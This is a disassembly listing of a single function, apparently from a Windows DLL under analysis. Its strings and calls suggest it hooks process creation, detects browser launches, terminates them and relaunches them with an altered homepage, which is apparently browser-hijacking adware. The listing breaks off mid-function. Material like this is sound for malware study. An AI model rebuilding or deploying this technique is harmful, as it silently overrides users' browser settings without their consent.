Function at 0x10031770
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100bb105
mov eax, dword fs:[0]
push eax
sub esp, 0x178
mov eax, dword [0x100f4384]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xb0], ecx
cmp dword [ecx + 4], 0
mov eax, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0xac], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp + 0x2c]
mov dword [ebp - 0xb4], esi
mov dword [ebp - 0xdc], eax
jne 0x100317fb
mov eax, 1
jmp 0x10032c95
call fcn.10031650
mov ecx, eax
call fcn.100225a0
lea eax, [ebp - 0x88]
push eax
call fcn.100316e0
mov ecx, eax
call fcn.1003b2c0
cmp dword [0x100f8b70], 0
mov dword [ebp - 4], 0
jne 0x100318b5
push 0xa
xor eax, eax
mov dword [0x100f8b70], 1
push str.process_ok
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 7
mov word [ebp - 0x40], ax
call fcn.100112e0
push 3
xor eax, eax
mov byte [ebp - 4], 1
push 0x100ca108
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
call fcn.100112e0
lea eax, [ebp - 0x88]
mov byte [ebp - 4], 2
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.100316e0
mov ecx, eax
call fcn.1003b750
lea ecx, [ebp - 0x28]
call fcn.10004bc0
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0
call fcn.10004bc0
cmp dword [ebp - 0xac], 0
je 0x10032936
test esi, esi
je 0x10032936
call fcn.1004a6b0
mov ecx, eax
push 1
mov edx, dword [eax]
mov eax, dword [edx + 8]
call eax
movzx eax, al
sub eax, 1
jne 0x10031a16
push 0x51
push str.d:jenkins.jenkinsworkspacelib_commoncomputerz12hookhomepage_normalmain.cpp
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], al
call fcn.10007950
push 3
push 0x100c4c90
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 8
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
call fcn.10007950
mov byte [ebp - 4], 9
call fcn.1004a6b0
mov edi, eax
lea ecx, [ebp - 0x184]
push 0x8d
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x70]
push eax
call fcn.10004100
mov esi, eax
push str.CreateProcess
push esi
mov byte [ebp - 4], 0xa
call fcn.100051f0
push dword [ebp - 0xac]
push esi
call fcn.10003010
push 0x100ca32c
push esi
call fcn.100051f0
push dword [ebp - 0xb4]
push esi
call fcn.10003010
mov eax, dword [edi]
add esp, 0x20
mov ecx, edi
push esi
call dword [eax + 0x1c]
lea ecx, [ebp - 0x184]
call fcn.10005320
mov edx, dword [ebp - 0x5c]
mov byte [ebp - 4], 8
cmp edx, 0x10
jb 0x100319cc
mov ecx, dword [ebp - 0x70]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100319c2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10032cb2
push edx
push ecx
call fcn.10068042
add esp, 8
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
mov byte [ebp - 4], 0
cmp edx, 0x10
jb 0x10031a16
mov ecx, dword [ebp - 0x40]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10031a0c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10032cb7
push edx
push ecx
call fcn.10068042
add esp, 8
push dword [ebp - 0xac]
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov dword [ebp - 0xa4], eax
test eax, eax
jne 0x10031af0
call fcn.1004a6b0
mov ecx, eax
push 1
mov edx, dword [eax]
mov eax, dword [edx + 8]
call eax
movzx eax, al
sub eax, 1
jne 0x10032b8a
push 0x51
push str.d:jenkins.jenkinsworkspacelib_commoncomputerz12hookhomepage_normalmain.cpp
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], al
call fcn.10007950
push 3
push 0x100c4c90
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.10007950
mov byte [ebp - 4], 0xc
call fcn.1004a6b0
mov edi, eax
lea ecx, [ebp - 0x184]
push 0x91
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.10004100
mov esi, eax
push str.FindFileName_failed
push esi
mov byte [ebp - 4], 0xd
call fcn.100051f0
mov edx, dword [edi]
add esp, 8
mov ecx, edi
push esi
call dword [edx + 0x1c]
lea ecx, [ebp - 0x184]
call fcn.10005320
lea ecx, [ebp - 0x28]
call fcn.10004b70
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0
call fcn.10004b70
jmp 0x10032b8a
xor edi, edi
xor esi, esi
push dword [esi + 0x100f3ee8]
lea eax, [ebp - 0x40]
push eax
call fcn.1003e690
add esp, 8
cmp dword [ebp - 0x2c], 8
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 0xe
cmovae eax, dword [ebp - 0x40]
push eax
push dword [ebp - 0xa4]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x10031ca0
mov edx, dword [ebp - 0x2c]
mov byte [ebp - 4], 0
cmp edx, 8
jb 0x10031b68
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10031b5e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10032cb2
push edx
push ecx
call fcn.10068042
add esp, 8
add esi, 0xc
inc edi
cmp esi, 0xe4
jb 0x10031af4
call fcn.1004a6b0
mov ecx, eax
push 1
mov edx, dword [eax]
mov eax, dword [edx + 8]
call eax
movzx eax, al
sub eax, 1
jne 0x10032b8a
push 0x51
push str.d:jenkins.jenkinsworkspacelib_commoncomputerz12hookhomepage_normalmain.cpp
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], al
call fcn.10007950
push 3
push 0x100c4c90
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 0x13
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
call fcn.10007950
mov byte [ebp - 4], 0x14
call fcn.1004a6b0
mov edi, eax
lea ecx, [ebp - 0x184]
push 0xa7
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x70]
push eax
call fcn.10004100
mov esi, eax
push str.not_browser
push esi
mov byte [ebp - 4], 0x15
call fcn.100051f0
mov edx, dword [edi]
add esp, 8
mov ecx, edi
push esi
call dword [edx + 0x1c]
lea ecx, [ebp - 0x184]
call fcn.10005320
mov edx, dword [ebp - 0x5c]
mov byte [ebp - 4], 0x13
cmp edx, 0x10
jb 0x10031c53
mov ecx, dword [ebp - 0x70]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10031c49
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10032cbc
push edx
push ecx
call fcn.10068042
add esp, 8
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
mov byte [ebp - 4], 0
cmp edx, 0x10
jb 0x10032b8a
mov ecx, dword [ebp - 0x40]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10032b80
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10032cc1
jmp 0x10032b80
push 0xe
xor eax, eax
mov dword [ebp - 0x60], 0
push str.ex_ary_mate_
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x5c], 7
mov word [ebp - 0x70], ax
call fcn.100112e0
lea edi, [edi + edi*2]
mov byte [ebp - 4], 0xf
shl edi, 2
mov dword [ebp - 0xa8], edi
mov edx, dword [edi + 0x100f3ef0]
mov ecx, edx
lea esi, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10031ce0
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x70]
call fcn.10020a00
cmp dword [ebp - 0x74], 8
lea eax, [ebp - 0x88]
push dword [ebp - 0x78]
cmovae eax, dword [ebp - 0x88]
lea ecx, [ebp - 0x70]
push eax
call fcn.10020a00
push 7
xor eax, eax
mov dword [ebp - 0x18], 0
push str.browser
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
call fcn.100112e0
push 3
xor eax, eax
mov byte [ebp - 4], 0x10
push 0x100ca108
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 7
mov word [ebp - 0x58], ax
call fcn.100112e0
mov ecx, dword [0x100f8390]
mov byte [ebp - 4], 0x11
test ecx, ecx
jne 0x10031dc8
push 0x100f2084
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [0x100f8390], 0
jne 0x10031db7
push 0x48
call fcn.100683d7
add esp, 4
mov dword [ebp - 0xb8], eax
mov byte [ebp - 4], 0x12
test eax, eax
je 0x10031da5
mov ecx, eax
call fcn.1003ac00
mov ecx, eax
jmp 0x10031da7
xor ecx, ecx
mov byte [ebp - 4], 0x11
xchg dword [ebp - 0xa4], eax
mov dword [0x100f8390], ecx
push 0x100f2084
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [0x100f8390]
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.1003b750
mov edx, dword [ebp - 0x44]
mov byte [ebp - 4], 0x10
cmp edx, 8
jb 0x10031e17
mov ecx, dword [ebp - 0x58]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10031e0d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10032cc6
push edx
push ecx
call fcn.10068042
add esp, 8
mov edx, dword [ebp - 0x14]
xor eax, eax
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 7
mov word [ebp - 0x58], ax
mov byte [ebp - 4], 0xf
cmp edx, 8
jb 0x10031e69
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10031e5f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10032ccb
push edx
push ecx
call fcn.10068042
add esp, 8
mov edx, dword [ebp - 0x5c]
mov byte [ebp - 4], 0xe
cmp edx, 8
jb 0x10031ea7
mov ecx, dword [ebp - 0x70]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10031e9d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10032cd0
push edx
push ecx
call fcn.10068042
add esp, 8
mov edx, dword [ebp - 0x2c]
xor eax, eax
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 7
mov word [ebp - 0x70], ax
mov byte [ebp - 4], al
cmp edx, 8
jb 0x10031ef8
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10031eee
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10032cd5
push edx
push ecx
call fcn.10068042
add esp, 8
mov ecx, dword [0x100f838c]
mov esi, dword [edi + 0x100f3eec]
mov dword [ebp - 0xb8], esi
test ecx, ecx
jne 0x10031f68
push 0x100f2068
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [0x100f838c], 0
jne 0x10031f57
push 1
call fcn.100683d7
add esp, 4
mov dword [ebp - 0xbc], eax
mov byte [ebp - 4], 0x16
test eax, eax
je 0x10031f45
mov ecx, eax
call fcn.10002dc0
mov ecx, eax
jmp 0x10031f47
xor ecx, ecx
mov byte [ebp - 4], 0
xchg dword [ebp - 0xa4], eax
mov dword [0x100f838c], ecx
push 0x100f2068
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [0x100f838c]
push esi
call fcn.100235f0
push 0xe
push str.ex_ary_mate_
test eax, eax
jne 0x1003210f
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], 7
mov word [ebp - 0x70], ax
call fcn.100112e0
mov edx, dword [edi + 0x100f3ef0]
mov ecx, edx
mov byte [ebp - 4], 0x17
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10031fa2
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x70]
call fcn.10020a00
cmp dword [ebp - 0x74], 8
lea eax, [ebp - 0x88]
push dword [ebp - 0x78]
cmovae eax, dword [ebp - 0x88]
lea ecx, [ebp - 0x70]
push eax
call fcn.10020a00
push 0x11
xor eax, eax
mov dword [ebp - 0x18], 0
push str.browser_cfg_break
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
call fcn.100112e0
push 3
xor eax, eax
mov byte [ebp - 4], 0x18
push 0x100ca108
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 7
mov word [ebp - 0x58], ax
call fcn.100112e0
lea eax, [ebp - 0x70]
mov byte [ebp - 4], 0x19
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.100316e0
mov ecx, eax
call fcn.1003b750
mov edx, dword [ebp - 0x44]
mov byte [ebp - 4], 0x18
cmp edx, 8
jb 0x1003207c
mov ecx, dword [ebp - 0x58]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10032072
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10032cda
push edx
push ecx
call fcn.10068042
add esp, 8
mov edx, dword [ebp - 0x14]
xor eax, eax
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 7
mov word [ebp - 0x58], ax
mov byte [ebp - 4], 0x17
cmp edx, 8
jb 0x100320ce
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x100320c4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10032cdf
push edx
push ecx
call fcn.10068042
add esp, 8
mov edx, dword [ebp - 0x5c]
mov byte [ebp - 4], 0
cmp edx, 8
jb 0x10032b8a
mov ecx, dword [ebp - 0x70]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10032b80
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10032ce4
jmp 0x10032b80
xor eax, eax
mov dword [ebp - 0x90], 0
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0x8c], 7
mov word [ebp - 0xa0], ax
call fcn.100112e0
mov edx, dword [edi + 0x100f3ef0]
mov ecx, edx
mov byte [ebp - 4], 0x1a
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10032146
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0xa0]
call fcn.10020a00
cmp dword [ebp - 0x74], 8
lea eax, [ebp - 0x88]
push dword [ebp - 0x78]
cmovae eax, dword [ebp - 0x88]
lea ecx, [ebp - 0xa0]
push eax
call fcn.10020a00
push 0xb
xor eax, eax
mov dword [ebp - 0x18], 0
push str.browser_run
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
call fcn.100112e0
push 3
xor eax, eax
mov byte [ebp - 4], 0x1b
push 0x100ca108
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 7
mov word [ebp - 0x58], ax
call fcn.100112e0
mov ecx, dword [0x100f8390]
mov byte [ebp - 4], 0x1c
test ecx, ecx
jne 0x10032234
push 0x100f2084
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [0x100f8390], 0
jne 0x10032223
push 0x48
call fcn.100683d7
add esp, 4
mov dword [ebp - 0xbc], eax
mov byte [ebp - 4], 0x1d
test eax, eax
je 0x10032211
mov ecx, eax
call fcn.1003ac00
mov ecx, eax
jmp 0x10032213
xor ecx, ecx
mov byte [ebp - 4], 0x1c
xchg dword [ebp - 0xa4], eax
mov dword [0x100f8390], ecx
push 0x100f2084
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [0x100f8390]
lea eax, [ebp - 0xa0]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.1003b750
mov edx, dword [ebp - 0x44]
mov byte [ebp - 4], 0x1b
cmp edx, 8
jb 0x10032286
mov ecx, dword [ebp - 0x58]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x1003227c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10032ce9
push edx
push ecx
call fcn.10068042
add esp, 8
mov edx, dword [ebp - 0x14]
xor eax, eax
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 7
mov word [ebp - 0x58], ax
mov byte [ebp - 4], 0x1a
cmp edx, 8
jb 0x100322d8
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x100322ce
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10032cee
push edx
push ecx
call fcn.10068042
add esp, 8
mov eax, dword [ebp - 0xb0]
add eax, 0x10
push eax
call fcn.1002a320
add esp, 4
test eax, eax
jne 0x100323a3
lea ecx, [ebp - 0xbd]
call fcn.1002ecc0
mov edx, eax
mov dword [ebp - 0x30], 0
mov ecx, edx
mov dword [ebp - 0x2c], 7
xor eax, eax
mov word [ebp - 0x40], ax
lea esi, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10032320
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x40]
call fcn.100112e0
push 3
xor eax, eax
mov byte [ebp - 4], 0x1e
push 0x100ca108
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
call fcn.100112e0
lea eax, [ebp - 0x88]
mov byte [ebp - 4], 0x1f
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.100316e0
mov ecx, eax
call fcn.1003b750
lea ecx, [ebp - 0x28]
call fcn.10004bc0
lea ecx, [ebp - 0x40]
call fcn.10004bc0
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 0
call fcn.10004bc0
jmp 0x10032b8a
push 0x100c857c
lea ecx, [ebp - 0xa4]
call fcn.10003bb0
push str.user_unlock
lea ecx, [ebp - 0xc4]
mov byte [ebp - 4], 0x20
call fcn.10003bb0
mov byte [ebp - 4], 0x21
call fcn.1001ba30
lea ecx, [ebp - 0xa4]
push ecx
lea ecx, [ebp - 0xc4]
mov edx, dword [eax]
push ecx
lea ecx, [ebp - 0xbc]
push ecx
mov ecx, eax
mov eax, dword [edx + 8]
call eax
mov ecx, 0x100c5824
mov eax, dword [eax]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x1003241b
test dx, dx
je 0x10032417
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x1003241b
add eax, 4
add ecx, 4
test dx, dx
jne 0x100323f5
xor edi, edi
jmp 0x10032420
sbb edi, edi
or edi, 1
mov edx, dword [ebp - 0xbc]
or esi, 0xffffffff
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x10032440
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0xc4]
mov eax, esi
mov byte [ebp - 4], 0x20
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x10032461
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0xa4]
mov byte [ebp - 4], 0x1a
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x10032480
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test edi, edi
jne 0x100324d5
push str.userself_unlock
lea ecx, [ebp - 0x40]
call fcn.1002e280
push 0x100ca108
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x22
call fcn.1002e280
lea eax, [ebp - 0x88]
mov byte [ebp - 4], 0x23
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.100316e0
mov ecx, eax
call fcn.1003b750
lea ecx, [ebp - 0x28]
call fcn.10004bc0
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x1a
call fcn.10004bc0
mov esi, dword [ebp - 0xb8]
cmp esi, 4
jne 0x100324ec
call fcn.10031400
mov ecx, eax
call fcn.10010970
call fcn.10031400
mov ecx, eax
call fcn.100110b0
cmp esi, 1
je 0x1003251b
cmp esi, 2
je 0x1003251b
cmp esi, 4
je 0x1003251b
cmp esi, 0x8000
je 0x1003251b
cmp esi, 0x10000
jne 0x10032613
call fcn.1001ba30
mov ecx, eax
mov edx, dword [eax]
mov eax, dword [edx + 0x10]
call eax
test eax, eax
je 0x10032613
push str.ex_ary_mate_
lea ecx, [ebp - 0x40]
call fcn.1002e280
mov edx, dword [ebp - 0xa8]
mov byte [ebp - 4], 0x24
mov edx, dword [edx + 0x100f3ef0]
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10032553
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x40]
call fcn.10020a00
cmp dword [ebp - 0x74], 8
lea eax, [ebp - 0x88]
push dword [ebp - 0x78]
cmovae eax, dword [ebp - 0x88]
lea ecx, [ebp - 0x40]
push eax
call fcn.10020a00
lea eax, [ebp - 0x28]
push str.rdUo0bbEoBtwWgGoSwzQCdIHD5d4GYK
push eax
call fcn.1003e690
add esp, 8
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 0x25
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.1002e280
push 0x100ca108
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x26
call fcn.1002e280
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 0x27
push eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.100316e0
mov ecx, eax
call fcn.1003b750
lea ecx, [ebp - 0x58]
call fcn.10004bc0
lea ecx, [ebp - 0x70]
call fcn.10004bc0
lea ecx, [ebp - 0x28]
call fcn.10004bc0
lea ecx, [ebp - 0x40]
call fcn.10004bc0
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 0
call fcn.10004bc0
jmp 0x10032b8a
mov edi, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0xb0]
push dword [edi + 0x100f3ef0]
push esi
push dword [ebp - 0xb4]
mov esi, dword [ebp - 0xac]
push esi
call fcn.100366f0
test eax, eax
je 0x100326e8
push str.ex_ary_mate_
lea ecx, [ebp - 0x28]
call fcn.1002e280
mov edx, dword [edi + 0x100f3ef0]
mov ecx, edx
mov byte [ebp - 4], 0x28
lea esi, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10032660
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.10020a00
cmp dword [ebp - 0x74], 8
lea eax, [ebp - 0x88]
push dword [ebp - 0x78]
cmovae eax, dword [ebp - 0x88]
lea ecx, [ebp - 0x28]
push eax
call fcn.10020a00
push str.browser_cmd_unlock
lea ecx, [ebp - 0x58]
call fcn.1002e280
push 0x100ca108
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x29
call fcn.1002e280
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 0x2a
push eax
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.100316e0
mov ecx, eax
call fcn.1003b750
lea ecx, [ebp - 0x40]
call fcn.10004bc0
lea ecx, [ebp - 0x58]
call fcn.10004bc0
lea ecx, [ebp - 0x28]
jmp 0x1003238a
lea eax, [ebp - 0xec]
xorps xmm0, xmm0
push eax
push dword [ebp - 0xc8]
mov eax, dword [ebp - 0xb0]
push dword [ebp - 0xcc]
movups xmmword [ebp - 0xec], xmm0
push dword [ebp - 0xd0]
mov eax, dword [eax + 4]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp - 0xd4]
push dword [ebp - 0xd8]
push dword [ebp - 0xb4]
push esi
call eax
test eax, eax
je 0x10032908
mov eax, dword [ebp - 0xec]
test eax, eax
je 0x10032908
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call fcn.1004a6b0
mov ecx, eax
push 1
mov edx, dword [eax]
mov eax, dword [edx + 8]
call eax
movzx eax, al
sub eax, 1
jne 0x10032807
push str.d:jenkins.jenkinsworkspacelib_commoncomputerz12hookhomepage_normalmain.cpp
lea ecx, [ebp - 0x40]
call fcn.10022df0
push 0x100c4c90
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x2b
call fcn.10022df0
mov byte [ebp - 4], 0x2c
call fcn.1004a6b0
mov esi, eax
lea ecx, [ebp - 0x184]
push 0xf0
lea eax, [ebp - 0x40]
mov dword [ebp - 0xb8], esi
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.10004100
mov edi, eax
push str.old_HomePage:_s
push edi
mov byte [ebp - 4], 0x2d
call fcn.100051f0
mov eax, dword [ebp - 0xb0]
add esp, 8
mov esi, dword [esi]
add eax, 0x10
mov ecx, edi
push eax
call fcn.1002bfd0
mov ecx, dword [ebp - 0xb8]
push eax
call dword [esi + 0x1c]
lea ecx, [ebp - 0x184]
call fcn.10005320
lea ecx, [ebp - 0x28]
call fcn.10004b70
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x1a
call fcn.10004b70
mov edi, dword [ebp - 0xa8]
mov esi, dword [ebp - 0xb0]
mov eax, dword [0x100f8b90]
add esi, 0x10
push esi
push dword [edi + 0x100f3eec]
inc eax
push eax
mov dword [0x100f8b90], eax
call fcn.10031490
mov ecx, eax
call fcn.10022ef0
test eax, eax
je 0x10032880
push str.external_1
lea ecx, [ebp - 0x40]
call fcn.1002e280
push 0x100ca108
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x2e
call fcn.1002e280
lea eax, [ebp - 0x88]
mov byte [ebp - 4], 0x2f
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.100316e0
mov ecx, eax
call fcn.1003b750
lea ecx, [ebp - 0x28]
call fcn.10004bc0
lea ecx, [ebp - 0x40]
call fcn.10004bc0
lea ecx, [ebp - 0xa8]
call fcn.10003c50
push dword [esi]
lea eax, [ebp - 0xa8]
mov byte [ebp - 4], 0x30
push dword [ebp - 0xac]
push str.__s___s
push eax
call fcn.10018330
add esp, 0xc
mov ecx, esp
mov dword [ebp - 0xb8], esp
push esi
call fcn.1001ac30
push dword [edi + 0x100f3ef0]
lea eax, [ebp - 0xa8]
mov byte [ebp - 4], 0x31
push ecx
mov ecx, esp
mov dword [ebp - 0xbc], esp
push eax
call fcn.1001ac30
push ecx
mov ecx, esp
mov byte [ebp - 4], 0x32
push dword [ebp - 0xac]
call fcn.10003bb0
mov ecx, dword [ebp - 0xb0]
mov byte [ebp - 4], 0x30
call fcn.100300d0
lea ecx, [ebp - 0xa8]
test eax, eax
je 0x1003291d
call fcn.10004a20
lea ecx, [ebp - 0xa0]
call fcn.10004bc0
mov esi, 1
jmp 0x10032c88
call fcn.10004a20
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 0
call fcn.10004bc0
jmp 0x10032b8a
call fcn.1004a6b0
mov ecx, eax
push 1
mov edx, dword [eax]
